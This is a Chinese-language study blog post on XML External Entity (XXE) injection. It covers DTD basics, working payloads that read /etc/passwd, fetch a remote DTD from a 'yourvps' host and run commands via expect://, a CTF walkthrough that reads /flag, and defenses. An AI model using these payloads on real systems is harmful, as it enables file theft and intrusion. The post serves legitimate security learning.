XML外部实体注入学习

2020-11-04 11:29:59 浏览数 (1)

前言

刚开始学习网络安全的时候接触过XML外部实体注入,不过当时没有博客,今天在刷题的时候又碰到了关于XML外部实体注入的知识点,就想博客上也没有就简单的写一篇吧,为了以后再学习的时候能够用到。

XXE介绍

XXE也就是常见到的XML外部实体注入,就是对外部不安全的实体进行处理时引发的安全漏洞。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 那这篇文章的具体内容就是关于XML文档结构的介绍,还有实体DTD的文档类型定义。

XXE的利用手法

代码语言:javascript复制
1.加载恶意外部文件
2.任意读取文件
3.执行系统命令
4.探测内网端口
5.攻击内网网站    
怎么说呢只要权限到位几乎都可以做。

XML简述

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE  文件名 [
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其他元素
</元素名称>
<!-- ⬆文档元素⬆ -->

DTD介绍

DTD:即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。 实体的概念就是在XML文档种频繁的使用某一条数据,我们可以预先给这个数据起一个别名,也就是一个ENTITY,之后再在文档种调用它。 在引用DTD实体时有内部声明实体和外部引用实体的区别。

内部实体声明

代码语言:javascript复制
<!DOCTYPE  文件名 [
<!ENTITY  实体名 "实体内容">
]>
定义好的ENTITY在文档中通过“&实体名;”来使用.

例如示例代码:下面定义了一个name的实体,实体的值为ly0n,定义好了之后就可以在aaa这个文件内部通过&实体名;进行调用。

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa[
<!ENTITY name "ly0n">
]>
<root>
<name>&name;</name>

这段代码所演示的是一个内部实体DTD的声明,但是外部实体DTD的利用方法是通过URL来远程调用一个.dtd文本文件,也或者可以利用file协议引用一个本地的文件;当然也支持其他的协议,不过不同的语言支持的协议不一样,可以参照下表。

libxml2

php

java

.NET

file

file

http

file

http

http

https

http

ftp

ftp

ftp

https

php

file

ftp

compress.zlib

jar

compress.bzip2

netdoc

data

mailto

glob

gopher*

phar

外部实体调用

1.利用file协议

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<name>&name;</name>

如果是windows系统可以读取/c:/windows/win.ini文件内容。

2.利用http协议

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "http://yourvps/文件名" >
]>
<name>&name;</name>

3.外部实体+参数实体

示例代码

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "http://yourvps/dtd文件名">
    %name;
]>
<d>&LY0N;</d>

上述代码的逻辑是通过参数实体% name调用dtd文件之后在XML里调用dtd中的test实体来读取文件内容。

DTD文件内容为

代码语言:javascript复制
<!ENTITY ly0n SYSTEM "file:///etc/passwd">

XXE危害

危害1-读取任意文件

示例代码

代码语言:javascript复制
<?php
$xml = <<<EOF
<?xml version='1.0'?>
<DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
echo $data;


?>

这段payload 的目的是读取etc/passwd这个文件,看结果

成功的列出了文件的内容,大家在测试时一定要注意自己的php版本,还有libcxml版本,高版本的libxml默认不解析外部实体。

危害2-执行系统命令

示例代码

代码语言:javascript复制
<?php
$xml = <<<EOF
<?xml version='1.0'?>
<DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

XXE的利用还有很多,例如探测内网端口,如果端口不存在就会有Connection refused回显。没有回显就证明端口为open状态。这里就不再一一示例了。

XXE防御

1.使用开发语言提供的禁用外部实体的方法。

例如:

代码语言:javascript复制
PHP:libxml_disable_entity_loader(true);

Python:from lxml import etree

	   xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据关键字。

例如:

代码语言:javascript复制
<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC

例题讲解

题目平台 题目名称:Fake XML cookbook 难度:⭐⭐ 考察知识点: XML外部实体注入、XXE 打开题目之后看到了一个登录框,web狗都是看到登陆框就想着去注入,试了几次之后发现并没有什么用,于是抓了个包看看。发现了一点蛛丝马迹。

看到了利用XML和服务器进行通信,然后发现存在回显 知道了是XML外部实体注入之后,既可以直接构造payload进行解题

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ENTITY admin SYSTEM "file:///etc/passwd" >
]>
<user><username>&admin;</username><password>123</password></user>

成功回显。

接下来就是读取flag了,一般flag应该都会放在根目录下,文件名会有flag、flag.txt、flag.txt几种。

我们构造payload然后进行读取即可。经过测试文件名flag为flag所在。

payload:

代码语言:javascript复制
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ENTITY admin SYSTEM "file:///flag" >
]>
<user><username>&admin;</username><password>123</password></user>

参考链接:https://www.sohu.com/a/159645823_99907709

努力才能不负未来,加油!!

0 人点赞